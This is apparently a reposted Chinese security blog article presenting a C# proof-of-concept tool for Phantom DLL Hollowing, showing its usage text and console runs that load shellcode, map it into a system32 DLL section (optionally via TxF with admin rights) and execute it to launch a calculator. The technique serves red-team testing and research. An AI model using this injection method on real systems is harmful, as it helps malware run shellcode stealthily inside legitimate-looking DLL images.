Phantom DLL Hollowing 的 CSharp 实现

admin 2023年2月3日11:31:41评论11 views字数 3194阅读10分38秒阅读模式
C:Tools>PhantomDllHollower.exe
PhantomDllHollower - Tool for testing Phantom DLL Hollowing.
Usage: PhantomDllHollower.exe [Options]
-h, --help : Displays this help message. -p, --payload : Specifies shellcode to execute. -t, --txf : Flag to use TxF. This option requires administrative privilege.
[!] -p option is required.


Phantom DLL Hollowing 的 CSharp 实现

要使用此 PoC,请指定要执行的 shellcode 文件,如下所示:

C:Tools>powershell -c Get-Process calc*
C:Tools>PhantomDllHollower.exe -p calc.bin
[>] Trying to read payload from C:Toolscalc.bin.[+] Payload is read successfully (276 bytes).[>] Searching target module file from C:Windowssystem32.[+] Got target module path. [*] Target : C:Windowssystem32aadauthhelper.dll[>] Trying to create section object for payload.[+] Payload section object is created successfully. [*] Section Handle : 0x2CC[>] Trying to map payload section.[+] Payload Section is mapped at 0x00007FF86D2C0000.[>] Trying to write shellcode to payload section's entry point. [*] Entry Point @ 0x00007FF86D2C2900[+] Shellcode is written successfully.[>] Executing your shellcode.[+] Shellcode thread is created successfully.[*] Waiting for shellcode thread exit.[*] Done.

C:Tools>powershell -c Get-Process calc*
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName------- ------ ----- ----- ------ -- -- -----------    598      49    30140      74824       0.34   7760   1 CalculatorApp


如果你想使用 TxF 技术,设置-t标志以及 shellcode 文件路径。此选项需要管理权限:

C:Tools>certutil -hashfile C:WindowsSystem32concrt140.dll sha1SHA1 hash of C:WindowsSystem32concrt140.dll:2497d0e241c1adf74f03d7d6065e0e0dd365a9d9CertUtil: -hashfile command completed successfully.
C:Tools>powershell -c Get-Process calc*
C:Tools>whoami /groups | findstr /i levelMandatory LabelHigh Mandatory Level Label S-1-16-12288

C:Tools>PhantomDllHollower.exe -p calc.bin -t
[>] Trying to read payload from C:Toolscalc.bin.[+] Payload is read successfully (276 bytes).[>] Searching target module file from C:Windowssystem32. [*] TxF mode is enabled. This mode requires administrative privilege.[+] Got target module path. [*] Target : C:Windowssystem32concrt140.dll[>] Trying to generate payload data.[+] Payload data is generated successfully.[>] Trying to create section object for payload.[+] Payload section object is created successfully. [*] Section Handle : 0x318[>] Trying to map payload section.[+] Payload Section is mapped at 0x00007FF863F80000. [*] Shellcode @ 0x00007FF863FAD030[>] Executing your shellcode.[+] Shellcode thread is created successfully.[*] Waiting for shellcode thread exit.[*] Done.

C:Tools>certutil -hashfile C:WindowsSystem32concrt140.dll sha1SHA1 hash of C:WindowsSystem32concrt140.dll:2497d0e241c1adf74f03d7d6065e0e0dd365a9d9CertUtil: -hashfile command completed successfully.
C:Tools>powershell -c Get-Process calc*
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName------- ------ ----- ----- ------ -- -- ----------- 598 49 30136 55972 0.30 7504 1 CalculatorApp


如果在-t没有管理权限的情况下设置标志,则无法搜索目标 DLL,如下所示:

C:Tools>powershell -c Get-Process calc*
C:Tools>whoami /groups | findstr /i levelMandatory LabelMedium Mandatory Level Label S-1-16-8192

C:Tools>PhantomDllHollower.exe -p calc.bin -t
[>] Trying to read payload from C:Toolscalc.bin.[+] Payload is read successfully (276 bytes).[>] Searching target module file from C:Windowssystem32. [*] TxF mode is enabled. This mode requires administrative privilege.[-] Failed to find abusable module. You may not have sufficient privileges.

C:Tools>powershell -c Get-Process calc*


https://github.com/daem0nc0re/TangledWinExec/tree/main/PhantomDllHollower

原文始发于微信公众号(Khan安全攻防实验室):Phantom DLL Hollowing 的 CSharp 实现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月3日11:31:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Phantom DLL Hollowing 的 CSharp 实现 http://cn-sec.com/archives/1534919.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: